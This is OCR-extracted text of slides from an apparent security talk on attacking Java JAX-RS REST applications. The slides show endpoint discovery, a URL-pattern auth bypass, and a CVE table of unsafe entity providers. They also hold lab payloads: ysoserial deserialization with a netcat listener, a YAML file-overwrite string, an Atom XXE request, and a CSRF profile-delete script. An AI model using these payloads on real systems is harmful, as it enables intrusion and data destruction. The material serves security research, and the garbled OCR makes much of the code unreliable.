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;f@ApplicationPath("/")

|public class DummyApp extends Application {




l@Path("/rest™)
Hf:@Produces(MediaType.TEXT_PLAIN)
| public class DummyResource {

RRR @GET
@Path (" /echol™)
public Response queryparam(@QueryParam("value") String param) {...}

S WGET
. @Path("/echo2™)
s public Response headerparam(@HeaderParam("X-Echo") String param) {...}
@POST

@Path("/echo3™)
public Response formparam(@FormParam("value'") String param) {...}

@POST
@Path("/echo4d™)
public Response entityparam(String param) {...}




_;f@PaUqCvresUw . Relative URI path for resource
~| @Produces (MediaType.TEXT_PLAIN)
|public class DummyResource {

RRR @GET
@Path("/echol™)
public Response queryparam(@QueryParam("value") String param) {...}

S WGET
. @Path("/echo2™)
s public Response headerparam(@HeaderParam("X-Echo") String param) {...}
@POST

@Path("/echo3™)
public Response formparam(@FormParam("value'") String param) {...}

@POST
@Path("/echo4d™)
public Response entityparam(String param) {...}




l@Path("/rest™)
| @Produces (MediaType.TEXT PLAIN) = MIME media type
;ﬁpublic class DummyResource {

RRR @GET
@Path (" /echol™)
public Response queryparam(@QueryParam("value") String param) {...}

S WGET
. @Path("/echo2™)
s public Response headerparam(@HeaderParam("X-Echo") String param) {...}
@POST

@Path("/echo3™)
public Response formparam(@FormParam("value'") String param) {...}

@POST
@Path("/echo4d™)
public Response entityparam(String param) {...}




l@Path("/rest™)
Hf:@Produces(MediaType.TEXT_PLAIN)
;ﬁpublic class DummyResource {

| ecEr
= @Path ("/echol") Resource methods

public Response queryparam(@QueryParam("value") String param) {...}

S WGET
1 @Path("/echo2") s
| public Response headerparam(@HeaderParam("X-Echo") String param) {...} | =
@POST

@Path("/echo3™)
public Response formparam(@FormParam("value'") String param) {...}

@POST
@Path (" /echo4d™)
public Response entityparam(String param) {...}




Sl @Path (" /rest™)
] @Produces (MediaType.TEXT_PLAIN)
;ﬁpublic class DummyResource {

S @GET : HTTP method annotations: GET, POST, PUT, DELETE, etc.

@Path("/echol™)
public Response queryparam(@QueryParam("value") String param) {...}

@Path("/echo2™)
S public Response headerparam(@HeaderParam("X-Echo") String param) {...}

@Path("/echo3™)
R public Response formparam(@FormParam("value") String param) {...}

gff @Path (" /echo4d™)

S public Response entityparam(String param) {...}




l@Path("/rest™)
] @Produces (MediaType.TEXT_PLAIN)
;ﬁpublic class DummyResource {

public Response entityparam(String param) {...}




l@Path("/rest™)
] @Produces (MediaType.TEXT PLAIN)
Jpublic class DummyResource {

GGET Is extracted from URI query parameter value ﬁ;
@Path (n/eChOlv') ................................................................................. T
public Response queryparam(@QueryParam("value"){String param& {...}

eGET

@Path("/echo2™) T T T

@POST
@Path("/echo3™) T T T e e

4POST Entity parameter (w/o annotation)
@Path(vv/echo4n) ................................
public Response entityparami{String param{é{...}

L 4

L] .®
-----
.........
---------------




[ G0 || cancel < |v > | Target: http://127.0.0.1:8080 | #| 7|

Request Response
JHEW-] Params ] Headers ] Hex ] jHaw] Headers ] Hex ]
5Q-GET Jdummy - app/rest/echol?value=Hi+there! HTTP/1.1 i HTTP/1.1 200 OK i
o - |

< Host: 127.0.0.1:8080 Connection: close

“llUser-Agent: Mozillas/S.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 ¥-Powered-By: Undertow/1

“lAccept: text/html,application/xhtml+xml, application/xml;q=0.9,%*/*;q=0.8 Server: WildFly/10

--- Accept-Language: en-US,en;q=0.5 Content-Type: text/plain

-2 Connection: close Content-Length: 15

y Date: Wed, 25 Jan 2017 14:45:33 GMT

Echo: HL there!




Target: http://127.0.0.1:8080 @ EJ -

Request Response
:fﬁ_fﬁaw] Headers ]Hex] _Jﬁaw] Headers ]Hex]
IGET /dummy-app/rest/echo2 HTTP/1.1 s+  HTTP/1.1 200 OK Al
i Host: 127.0.0.1:8020 F Connection: close o

“llUser-Agent: Mozilla/S.0 (X11; Linux x86 64; rv:45.0) Gecko,/20100101 Firefox/45.0 ¥-Powered-By: Undertow/1

i X-Echo: Hi there! Server: WildFly/10

- Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8 Content-Type: text/plain

1 Accept-Language: en-US,en;g=0.5 Content-Length: 15

~lConnection: close Date: Wed, 25 Jan 2017 15:33:38 GMT

Echo: HL there!




Target: http://127.0.0.1:8080 | #|| 7| -
..... Request Response
Jﬁaw] Params ] Headers ] Hex ] jﬁaw] Headers ] Hex ]
M POST /dummy- app/rest/echo3 HTTR/1.1 A HTTP/1.1 200 OK
-+|Host: 127.0.0.1:8080 r Connection: close
o User- Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0 ¥-Powered-By: Undertow/1
it Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 Server: WildFly/10
oo Accept-Language: en-US,en;q=0.5 Content-Type: text/plain
“lli|Connection: close Content-Length: 15
| Content-Type: application/x-www-form-urlencoded Date: Wed, 25 Jan 2017 15:48:11 GMT
“JContent-Length: 15
Echo: Hi there!]
ii|value=Hitthere!




| Go Cancel < |7 | > | Target: http://127.0.0.1:8080 @@

Request Response
j Haw] Params ] Headers ] Hex ] jﬁaw] Headers ] Hex ] -
- 1POST /dummy-app/rest/echod HTTP/1.1 i HTTP/1.1 200 OK Al
- iHost: 127.0.0.1:8080 F Connection: close B
~iUser-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0 X-Powered-By: Undertow/1
“lAccept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 Server: WildrFly/10
.- Accept-Language: en-US,en;q=0.5 Content-Type: text/plain
s Connection: close Content-Length: 15
lContent-Type: text/plain Date: Wed, 25 Jan 2017 15:49:18 GMT

ff;cgntent-Length: 9
L Echo: H1 there!
~1H1L there!




























- Mozilla Firefox (Private Browsing)
o0 @@/ hittpi/127.0... plication.xml x | &

'''''''''''' ( € ) @ | 127.0.0.1:8080/unsafe-jaxrs/resteasy/application.xml c | |Q Search

-7 B Most Visited v JllOffensive Security " Kali Linux " Kali Docs % Kali Tools EMExploit-DB Wy Aircrack-ng

: This XML file does not appear to have any style information associated with it. The document tree is shown below.

-l —<application>
-1 —<resources base="http://127.0.0.1:8080/unsafe-jaxrs/resteasy">
—<resource path="/"> k
N —<resource path="/increment"> '
—<method id="doIncrement" name="POST">

g —<response=

RN <representation mediaType="application/json"/>

o ‘:fIESPO]lSB:"
</method>
</resource>
—<resource path="/path/param/{param}">
RO <param name="param" style="template" type="xs:string"/>

SRR —<method id="pathPatam" name="GET">

RS —<response>
<representation mediaType="*/*"/>
</response>
</method>
</resource>

RN —<resource path="/header/param">

EIEIE —<method id="headerPatam" name="POST">

...... —<request>

el <param name="X-Param" style="header" type="xs:string"/>
</request>

—<response:

BN <representation mediaType="*/*"/>

NN </response>
el </method>
:::::::::::: </resource>

------ —errachntiyira nnath —"lrnare st



http://127.0.0.1:8080/unsafe-jaxrs/resteasy/application.xml

Seapul 530 T P
File Project Suite Case Step Tools Desktop Help
I g % 9 & o3 Search Forum " L il
Empty  SOAP REST  Import Save All Forum Trial Preferences Prowy e online Help DT T T

S|l = (SoapUlstarterPage ' e e S

.|| Projects "

i ' = application i | o
= == application o, Method Endpoint Resource Parameters Cl NN

20l restiv1.0/api/user [/portalirestivl.O/apijuser] V[GET v”http:ﬂsandbox.com [v]|fporta\!rest!\.-'1.0fapifuser ||

[ GET - getApiUsers . FE=m ——————__ I [

% Request 1 X E v . a

2T OPTIONS - apply Name | Value Style | Level
2T OPTIONS - apply-1

2T OPTIONS - apply-2

0O Jpassword/{username} [/portalirest/ivl.0/apifu
@ service/secondfactorsmsactivation [/portalfservic
=] auth/2fa [fportaliauth/2fa)

| fresolve [fportalfauth/2fafresolve]l [ | e e e e e e e e
O/ yportaliauthy2ian W

if Request1l

v

Raw | Request

Raw | HTML| JSON | XML

0| funresolved [jportalfauth/2fajunresolved] g

[ jregister [portaliauthy2fairegisterl [ | e e

[J| jreactivate [/portalfauth/2fa/reactivate]
0| factivate-sms-sent [fportalfauth/2fajactivate-s
O flogout [portaliauth/zfalogout; | | e e e e e e e e e

| rfemailfactivation Uportalfauth/2fajemailiactivati | | T

A POST - emailactivation RO

eT OPTIONS -apply | s

oo apebt e
@eroPTONS -apply2 @ | R
0| serror Uportaljauth/2fajerror] RN NN
-[J] /activate [/portalfauth/2fa/activate]
0O fstart yportalfauth/2farstart; (@ |

EJJ Niew/protected/user [/portal/fview/protected/user’ e | I O o T P
i+-[J| /fpassword-expired [/portalfview/protectedfuse = |
0| jwelcome [Iportaﬂ\.fewfprotectedfusermecomJ .............

=5

0| /password [fportalffview/protected/user/passwi
=[] restfvl.0/uiflog [fportalirestivl.0juiflog)
H PosT - log

Options: P N - | N R | S R R R

Request Properties | RequestParams | | | e | B

(

Endpoeint http://sandbox.com
Timeout

Bind Address

Follow Redirects true

Property | Value | B
Name Request 1 - = qg—————————————————— |
Description RN
Encoding Auth Headers {0) Attachments {0} Representations (0} Headers (0) Attachments (0} SSLInfo Representations (1) Schema |MS (0 |il- - - .77 mmm”

Properties SoapUl log httplog jettylog errorlog wsrmlog memorylog


https://www.soapui.org/downloads/soapui.html

My Web Application - Mozilla Firefox

| J-"’ My Web Application x\"-kll-
j:(-'} (@) file://ftmp/wadl-report. html#N21325 e |[Q search N & A4 =

E:EMostVisitedv Pl Offensive Security S Kali Linux % Kali Docs S Kali Tools EBExploit-DBE Wy Aircrack-ng
[ lops/manifest
Methods

GET
available response representations:
« application/json
OPTIONS
acceptable request representations:
- k
available response representations:

+ applicationivnd sun.wadl+xml

OPTIONS

acceptable request representations:
il

available response representations:
» textiplain

OPTIONS

acceptable request representations:
il

available response representations:

.1

Iservicelsecondfactorfirstactivation
Methods


https://www.soapui.org/downloads/soapui.html

;E;</web—app> RIS

<servlet> S
<servlet-name>RESTEasy JSAPI</servlet-name> s
<servlet-class>org.jboss.resteasy.jsapi.JSAPIServlet</servlet-class> |

</servlet> S

<servlet-mapping> S
<servlet-name>RESTEasy JSAPI</servlet-name> S
<url-pattern>/unsafe-jaxrs/resteasy/rest-js</url-pattern> s

</servlet-mapping> S

§;§</web—app> ;;;



27.0.0.1:8080/

Mozilla Firefox (Private Browsing)

B - J http://127.0...teasy/rest-js x |

(€ P | (i) | 127.0.0.1:8080/unsafe-jaxrs/resteasy/rest-js| E1|c¢ | |Q Search

[ Most Visited v fllOffensive Security & Kali Linux “e Kali Docs “e Kali Tools EBExploit-DB Wy Aircrack-ng

REST.apiURL = '"http://127.0.0.1:8080/unsafe-jaxrs/resteasy’;
-7 var PoC resource = {};
- // POST /increment
- PoC resource.doIncrement = function( params){
var params = params ? params : {};
var request = new REST.Request();
request.setMethod('POST'); 3
var uri = params.$apiURL ? params.$apiURL : REST.apiURL; [ -
uri += '/increment'; DO
if(params.$entity) e
request.setEntity(params.$entity);
request.setURI(uri);
if(params.$username && params.$password)
request.setCredentials(params.$username, params.$password);
if(params.$accepts)
request.setAccepts(params.$accepts);
else
request.setAccepts('application/json'); [
if (REST.antiBrowserCache == true) { [0
request.addQueryParameter('resteasy jsapi anti cache', (new Date().getTime())); RIEIEIEIEIEN
var cached obj = REST. get cache signature(REST. generate cache signature(uri)); e
if (cached obj != null) { request.addHeader('If-Modified-Since', cached obj[1l]['Last-Modified']); request.addHeader('If-

None-Match', cached obj[1]['Etag']);} I

}
if(params.$contentType)
request.setContentType(params.$contentType);
else
reaguest.setContentTvpel( 'application/ison')*



http://127.0.0.1:8080/unsafe-jaxrs/resteasy/rest-js

s Lsceript sre="http://127.0.0.1:8080/unsafe- o
;Ef;;;jaxrs/resteasy/rest—js" type="text/Javascript"></script> e
- |<script> =
~|var resMethods = Object.getOwnPropertyNames (PoC resource) ; SRR
-~ |for (var i = 0; i < resMethods.length; i++) { =
try {
L PoC resource[resMethods[i]].call (PoC resource) ; Rers
B } catch (err) { ; } =
)
o </script> R




;é@Path("/rest/echo/{name:.+}") SR

E@public class PublicResource { o

WGET public Response somemethod(@PathParam('"name") String name) e
{ i
return Response.status ( ) .entity ("Public") .build() ; s

} Ll




ooy @Path (" /rest/ {name} /show/ {id:\\d+}") ;;;
ccoiiiilpublic class PrivateResource { SR
QGET public Response somemethod( @PathParam("name") String name, R
@PathParam("id") String id ) SR

{ i

return Response.status ( ) .entity ("Private") .build() ; s

) o

) o




] <?xml version="1l.0" encoding="UTF-8"7?> S
<security-constraint> L

<web-resource-collection> SR

<web-resource-name>app</web-resource-name> ST

<url-pattern>/rest/echo/*</url-pattern> SRR

</web-resource-collection> EE
</security-constraint> i

<security-constraint> SRR

<web-resource-collection> RN

<web-resource-name>app</web-resource-name> S

<url-pattern>/*</url-pattern> S

</web-resource-collection> R

<auth-constraint> SRR

<role—-name>AuthorizedUser</role—-name> SRR

</security-constraint> S
<login-config> o

<auth-method>BASIC</auth-method> SRR

<realm-name>The Restricted Zone</realm-name> DRI

| </web-app> i




] <?xml version="1l.0" encoding="UTF-8"7?> i
| <web-app> —

- <security-constraint> -, o

<web-resource-collection> SR

<web-resource—-name>app</web-resource-name> : R
PP Doesn’t require auth [

<url-pattern>/rest/echo/*</url-pattern> SRR

</web-resource-collection> SR

.. </security-constraint> 5 oot

< <security-constraint> ., SRR

<web-resource-collection> ‘ RS

<web-resource-name>app</web-resource-name> S

<url-pattern>/*</url-pattern> S

</web-resource-collection> Requires auth L

<auth-constraint> SRR

<role—-name>AuthorizedUser</role—-name> SRR

</auth-constraint> j RPN

<login-config> S

<auth-method>BASIC</auth-method> SRR

<realm-name>The Restricted Zone</realm-name> DRI

| </web-app> i




Target: http://127.0.0.1:8080 @ EJ -

Response

j Raw T Headers | Hex

HITP/1.1 200 0K
Content-Length: 6

Content-Type: text/plain
Connection: close

Server: Jetty(g8.1.16.v20140903)

GET /rest/echo/abecdef| HTTR/1.1

“liHost: 127.0.0.1:8080
“iUser-Agent: curl/7.50.1

i Accept: ¥/#*

i Connection: close

Public

Target: http://127.0.0.1:8080 E’J lEJ

Request Response

j HEWT Headers T Hex ] J Raw T Headers T Hex T HTML T Render ]

- {GET /rest/name/show/12345 HTTP/1.1 ]

---:IHost: 127.0.0.1:8080 Wwh - Authenticate: basic realm="The Restricted Zone"
~lUser-Agent: curl/7.50.1 Content-Type: text/html;charset=IS0-8859-1

Accept: */* Cache-Control: must-revalidate,no-cache,no-store
Connection: close Content-Length: 1391

' Connection: close

Server: Jetty(8.1.16.v20140903)







| Go | Cancel < | . Target: http://127.0.0.1:8080 EJEJ

HHH”HHt HHH“H“HH

.:25_[Haw] Headers ]HEK] _Jﬁaw] Headers ]Hex]

| GET srest/echo/show/12345 HTTP/1.1 HITF/1.1 200 0K

Host: 127.0.0.1:B020 Content-Length: 7

User-Agent: curl/7.50.1 Content-Type: text/plain

| Accept: */* Connection: close

-:|Connection: close Server: Jetty(8.1.16.v20140903)






















| @Provider
“] @Produces ("*/*")
“] @Consumes ("*/*")

_________________
= -~

s -
————————————————

Annotation[] annotations, MediaType mediaType) {
// Implementation

-
- ———
P

~ -
-~ -
—————————————

Type genericType, Annotation[] annotations,

MediaType mediaType, MultivaluedMap<String, String> httpHeaders,
InputStream entityStream) throws Exception {

// Implementation







ol @ApplicationPath (/") g

sl public class PoC app extends ResourceConfig { SR

PSS public PoC app() { RO




——are rra










Entity Provider Media Type Selection conditions Weakness

SerializableProvider application/x-java- Entity parameter is Deser of CVE-2016-7050
| (RESTEasy default) serialized-object  Serializable untrusted data

" YamlProvider text/yaml Always selected Deser of CVE-2016-9571
= (RESTEasy default) text/x-yaml untrusted data

s application/x-yaml|

" KryoMessageBody application/x-kryo Always selected Deser of No CVE

- Provider untrusted data

2 (Jersey default)

=/ AtomPojoProvider  application/atom+ Always selected XXE CVE-2016-8739
= (Apache CXF xml

- default)




Entity Provider Media Type Selection conditions Weakness

- | JacksonJaxbXML  text/xml Always selected XXE CVE-2016-3720
| Provider application/xml
-l (Jackson)

" DefaultTextPlain text/plain Entity parameter CSRF No CVE
- (RESTEasy default) class has valueOf

method or String

constructor

ListMultipartReader multipart/* Entity parameter is Bypass No CVE
-] (RESTEasy default) List

' MapMultipartForm  multipart/form- Entity parameter is Bypass No CVE
+ DataReader data Map

| (RESTEasy default)




Entity Provider Media Type Selection conditions Weakness

XStreamXmlProvider */* Always selected Deser of No CVE
) (siesta-xstream) untrusted data




| public boolean isReadable(Class<?> type, Type genericType, o
o Annotation[] annotations, S
g MediaType mediaType) gy
S e S
fé returnESerializable.class.isAssignableFrom(type)E&& éf?
B APPLICATION SERIALIZABLE TYPE.getType ().equals (mediaType.getType()) && s
ﬂf APPLICATION SERIALIZABLE TYPE.getSubtype() .equals(mediaType.getSubtype()); [
1} Sl







public Map<String, String> doConcat(Pair pair) {
HashMap<String, String> result = new HashMap<String, String>()
result.put ("Result", pair.getPl() + pair.getDelimiter () + pair.getP2())

return result;




public class Pair implements Serializable { o

private static final long serialVersionUID = ; g
private String P1; S
private String P2; s




root@kali: ~/ysoseriallysoserial/target :
File Edit View Search Terminal Tabs Help File Edit View Search Terminal Tabs Help

root@kali: "I‘;.rsoserialf‘fsoserial.-’target root@kali: ~

- :~# netcat -nvlp 8888
Mlilistening on [any] BBB8 ...
Blconnect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56740
EZGET / HTTPfl 1

-H "Expect:’ \
--data-binary "@/tmp/payload" \

. ‘http://127.0.0.1:8080/unsafe-jaxrs/concat’
BIHTTP/1.1 400 Bad Request

Server: Apache-Coyote/1.1

Content-Type: text/html

Content-Length: 79

giCate: Sat, 25 Jun 2016 09:44:42 GMT

glConnection: close

g.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
:~/ysoserial/ysoserial/target#






https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-7050

public boolean isReadable(Class<?> type, Type genericType, [

Annotation[] annotations, MediaType mediaType) { ;f

e e e
e -— -
- el e
~
~

~
Seo

—",
- -
———————————————————————————————————




String yaml = "--- !!java.io.FileOutputStream [/tmp/overwrite]"; [

WﬂﬁinbjeCt o = new Yaml().load(yaml); S




| ePOST o

c @Path (" /concat/1M) o
s @Produces (MediaType . TEXT PLAIN) By
giiifiépublic Response doConcatl( Pair p ) s
e o
g;;;;;@ return Response.status ( ) .entity(p.getPl() + p.getP2()) .build(); | =
iy ) S




| epPoST -
| @Produces (MediaType.TEXT PLAIN) o

——————————————————————————————————

______________________________________

return Response.status( ) .entity(p.get (0) .getP1l () + S

p.get (0) .getP2()) .build(); S

[/tmp/overwrite] ] S

[!!Java.i10.Fi1leOutputStream




Cancel < |

Response

j RawT Headers T Hex 1

- POST Junsafe-jaxrs/concat/array HTTP/1.1 HTTPF/1.1 500 Internal Server Error
"IHost: 127.0.0.1:8080 Server: Apache-Coyotes1.1
“tUser-Agent: MozillaysS.0 (X11; Linux x86_64; rv:45.0] Gecko/20100101 Content-Type: text/html
IFirefox/45.0 Content-Length: 167

lhccept: text/shtml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Date: Wed, ©4 Jan 2017 19:41:23 GMT
-l Accept-Language: en-US,en;g=0.5 Connection: close

" Accept-Encoding: gzip, deflate
1 Connection: close RESTEASY003020: Bad arguments passed to

i Content-Type: application/x-yaml org.jboss.resteasy.spi.metadata.ResourceMethod@2840b131 ( java.util.LinkedHashMap
-l Content-Length: 53 {list=[java.io.FileOutputStreami7baB8ad94]} )

Jlist: [!!'java.io.FileOutputStream [/tmp/overwrite]]




:;E;E;E;E;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:h’;ﬁtﬁtfbgggjg//fbgufq;ZEiE[|E:;ﬁ::]';_E;rfé(jEh'aﬁ;ﬁtﬁg_fég@fm%g;hE@;WE;E;E;bf'u';di_f(ﬁ:;ﬁ@Ei?fifd;ﬁfﬁ@vgfj_fggfE]E6;;955;7;515;E;E;E;E;E;E;E;E;E;E;E;E;E;E;E;E;E;E;E;



https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-9571

ol public boolean 1sReadable(final Class<?> type, final Type genericType, S
g;ﬁ; final Annotation[] annotations, ff;
é;;; final MediaType mediaType) fjﬁ
= o
| < _return 133:_315_5_:: o
o) IR







- | epost o

| @Path (" /concat") i

| @Produces (MediaType .APPLICATION JSON) R
| econsumes ({"*/*"}) =
coopublic Map<String, String> doConcat (Pair pair) e
= X e
o HashMap<String, String> result = new HashMap<String, String>(); S
result.put ("Result", pair.getPl() + pair.getDelimiter () + pair.getP2()); éfﬂ

return result; s




Request

J Raw I Params I Headers I Hex IXML ]

Response

J Raw T Headers T Hex T HTML T Render ]

1 POST /unsafe-jaxrs/cxf-rs/concat HTTP/1.1
U Host: 127.0.0.1:8080
User-Agent: Mozillas/S.0 (X11; Linux xB6_64; rv:45.0) Gecko,/20100101
‘| Firefox/45.0
ot Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
| Accept-Language: en-US,en;q=0.5
.| Accept-Encoding: gzip, deflate
I Connection: close
| Content-Type: application/atom+xml

.1 Content-Length: 132

4 <7xml version="1.0" encoding="utf-g8"7=
I <|DOCTYPE feed SYSTEM "nosuch://xxxx" []1=
] =feed xmlns="http://www.w3.0rg/2005/Atom" =</feed=

(=
¥

0 matches

HTTP/1.1 500 Serwver Error

Content-Type: text/html;charset=I150-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 31924

Connection: close

Server: Jetty(s.1.16.v20140903)

<html=
<head=
=meta http-equiv="Content-Type" content="text/html; charset=IS0-8859-1"/=>
<title=Error 500 Server Error=</title=
=/head=
<body=<h2=HTTP ERROR 500</h2=
<p=Problem accessing /unsafe-jaxrs/cxf-rs/concat. Reason:
<pre= Server Error</pre=</p=<h3=Caused
by:</h3><pre=org.apache.abdera.parser.ParseException:
org.apache.axiom.om.0OMException: com.ctc.wstx.exc.WstxIOException: [resolving
systemId "nosuch://xxxx']: java.net.MalformedURLException: unknown protocol: nosuch
at org.apache.abdera.parser.stax.FOMBuilder.next(FOMBuilder. java:96)
at
org.apache.abdera.parser.stax.FOMBuilder.getFomDocument(FOMBuilder. java:117)
at org.apache.abdera.parser.stax.FOMParser.getDocument(FOMParser.java:79)
at org.apache.abdera.parser.stax.FOMParser.parse(FOMParser.java:191)
at org.apache.abdera.parser.stax.FOMParser.parse(FOMParser.java:124)
at org.apache.abdera.util.AbstractParser.parse(AbstractParser.java:65)
at

org.apache.cxf.jaxrs.provider.atom.AbstractAtomProvider.readFrom(AbstractAtomProvider.j

ava:94)

EEEEL

¥

0 matches |






http://cxf.apache.org/security-advisories.data/CVE-2016-8739.txt.asc?version=1&modificationDate=1482164360000&api=v2

public boolean isReadable(Class<?> type, Type genericType, S
Annotation[] annotations, L

MediaType mediaType) ;fﬂ

return !String.class.equals (type) &&iTypeConverter.isConvertable(type)y gy

} T e S




S @POST fﬁf

coniind @Path (" /profile/delete™) gy
| epProduces (MediaType.APPLICATION JSON) S
“public Response deleteProfile (Profile profile) { Sh
String result = "{\"status\":\"" 4 profile.delete() i+ "\"}";

—————————————————————————————————————————————————

o return Response.status( ) .entity(result) .build() ; S




lpublic class Profile { ;;;
| private String DisplayName; s
private String Email; s
private String uid; s
public Profile() {} ;;;
__public Profile(String uid)]{
this.uid = uid; S

} -
public String delete() { L

// SOME LOGIC TO FIND PROFILE BY UID AND DELETE IT s

return "Deleted"; L

} &

|} &




;ﬁ:<SCIipt> ;;;
s var request = new XMLHttpRequest () ; S
var data = '12345"; s
request.open('POST', gy
'http://localhost:8080/unsafe-jaxrs/profile/delete’, gy

true) ; o
request.withCredentials = true; s
request.setRequestHeader ("Content-type", "text/plain"); s
request.send(data) ; s
</script> By




j Raw T Headers T Hex ]

j Raw T Params T Headers T Hex ]

-1 POST Junsafe-jaxrs/profilesdelete HTTP/1.1

“1Host: localhost:8080

iUser-Agent: Mozillas/5.0 (X11; Linux x86_64; rv:45.0)
i Gecko /20100101 Firefox/45.0

ffiﬂccept:

- text/html, application/xhtml+xml, application/xml;g=0.9, */*;
-10=0.8

-4 Accept-Language: en-US,en;g=0.5

i Content-Type: text/plain

“1Connection: close

-4 Content-Length: 5

11112345

HTTR/1.1 200 0K

Connection: close

X-Powered-By: Undertow/1

Server: WildrFly/10

Content-Type: application/json
Content-Length: 20

Date: Tue, 21 Feb 2017 15:31:49 GMT

{"status":"Deleted"}




cdpublic boolean isReadable(Class<?> type, Type genericType, S
i Annotation[] annotations, s
éffff MediaType mediaType) e
EE e s
""""""" : returnftype.equals(Map.class)}&& genericType !'= null && genericType f;g

% instanceof ParameterizedType; S
:;:;:;:;:;:;:; }




ePOST =
Sl @Path (" /multipart™) By
| @Consumes (MediaType .MULTIPART FORM DATA) o
“|public Response doMultipart (Map<String,String[]> map) { L

return Response.ok() .build() ; SR




J Raw [ Params I Headers T Hex 1

J Raw I Headers T Hex 1

Target: http://127.0.0.1:8080 @J EJ

- User-Agent: Mozilla/S.0 (X11;
Firefox/45.0

Z:f Accept-Encoding: gzip, deflate
Connection: close

Content-Type: multipart/form-data; boundary=

Content-Length: 154

form data

_:; POST /unsafe-jaxrs/multipart HTTP/1.1
-1 Host: 127.0.0.1:8080

Linux x86 64; rv:45.0] Gecko/20100101

=}

name:“aaa“

-1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
"f Accept-Language: en-USs,en;g=0.

1533453770

HTTP/1.1 400 Bad Request
Connection: close

X-Powered-By: Undertow/1

Server: WildrFly/8

Content-Type: text/html
Content-Length: 65

Date: Sat, 27 Aug 2016 19:45:14 GMT

java.io.StreamCorruptedException: invalid stream header:

61616161













- File

Edit

root@kali-new: /media/sf_Share/Demo/ysoserial/target

View Search Terminal

HeLp

root@kali-new: /media/sf_Share/Demo

File Edit View Search Terminal Help

:/media/sf Share/Demo# python PayloadServer.py 8888 &> /dev/null &
[1] 15200
: /media/sf Share/Demo# curl -i -XGET localhost:8888
HTTP/1.0 200 OK
Server: BaseHTTP/0.3 Python/2.7.12+
Date: Wed, 22 Feb 2017 09:30:38 GMT
Content- type dppllcutlﬂnfx java-serialized-object

2

U6s}[[[java. rmi.registry.Registryxrfjava.lang. reflect.Proxy®'e eLfeLHlEHtsLjava/l
ang/reflect/InvocationHandler;xpsr-java.rmi.server.RemoteObjectInvocationHandler
rfjava.rmi.server.RemoteObject@atb

d3pw2

UnicastRef localhost90[36x /media/sf_Share/Demo# [



File Edit View Search Terminal Help

MHTTP/1.1 500 Internal Server Error

gmConnection: keep-alive

M Content-Type: text/html;charset=UTF-8
Content-Length: 9492

MDate: Wed, 22 Feb 2017 10:07:41 GMT

tml><head><title>ERROR</title><style>body {

root@kali-new: ~

" File Edit View Search Terminal Help
S :~# netcat -nvlp 1337
MW 1istening on [any] 1337 ...







<context-param> i
<param-name>resteasy.async. job.service.enabled</param-name> s
<param-value>true</param-value> L

</context-param> S




@GET
@Path (" /profile/me™) e

@Produces (MediaType .APPLICATION JSON) SR

public Profile doShowProfile () S

{ o

return new Profile(); ;;f




E;;;_[Haw] Headers| Hex | _[Haw] Headers| Hex

) GET Junsafe-jaxrs/profile/me HTTP/1.1 L HTTP/1.1 200 OK

| Host: 127.0.0.1:8080 F Server: Apache-Coyote/1.1

-4 User-Agent: Mozillay/S.0 (X11; Linux x86 64; rv:45.0] Gecko/20100101 Firefox/45.0 Content-Type: application/json

ool Accept: text/html,application/xhtml+xml, application/xml;g=0.9,*/%;q=0.8 Content-Length: 30

_{f fccept-Language: en-Us,en;g=0.5 Date: Fri, 19 Aug 2016 11:11:44 GMT
| Accept-Encoding: gzip, deflate Connection: close

©d Cookie: JSESSIONID=110959AF260FCAA4DBE30DCES329509F

-4 Connection: close {"dislplaynName" : "Dummy Dummy"}




<img src="http://127.0.0.1:8080/unsafe-jaxrs/profile/me?asynch=true" /> [

Go Cancel < |v Target: http://127.0.0.1:8080 LJ u

é; _JRaw}aPmEnm IHeadem IHex] _JRawlaHeadem IHEK} e

| GET /unsafe-jaxrs/profile/md?asynch= truelHTTpil 1 A HITP/1.1 202 Accepted Aol
| Host: 127.0.0.1:8080 1 Server: Apache-Coyote/1.1 o S~ BE

User-Agent: Mozilla/5.0 (¥11; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0 Location: http://127.0.0.1:8080/unsafe- ]axrsiasynchf]obsﬂld?1665665428 1: RN

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8 Content-Length: © S Ptad SRR

Accept-Language: en-Us,en;q=0.5 Date: Fri, 19 Aug 2016 11:11:05 GMT §

1| Accept-Encoding: gzip, deflate Connection: close g

| Cookie: JSESSIONID=110959AF86DFCAAADBE39DCES325509F §

1| Connection: close NN




J Raw T Headers I Hex 1

Target: http:f{127.0.0.1:8080 @ liJ S

GET Junsafe-jaxrs/asynch/jobs/1471605065428-1 HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%*/*;q=0.8
Accept-Language: en-Us,en;g=0.5

Accept-Encoding: gzip, deflate

Cookle: JSESSIONID=0c2off191e41d371c57268d59824144af5d505731850801 3

Connection: close

T

HTTR/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: application/json
Content-Length: 30

Date: Fri, 19 Aug 2016 11:11:31 GMT
Connection: close

{"dislplayName" : " Dummy Dummy"}

T




String id = "" 4+ System.currentTimeMillis() + "-" + R

counter.incrementAndGet () ; S






https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-6345






https://github.com/0ang3el/Unsafe-JAX-RS-Burp




Scan item 1| 13 issues | finished | http://127.0.0.1:8080/unsafe-jaxrs/cxf-rs/concat

j:jj Issues T Base request T Base response ]

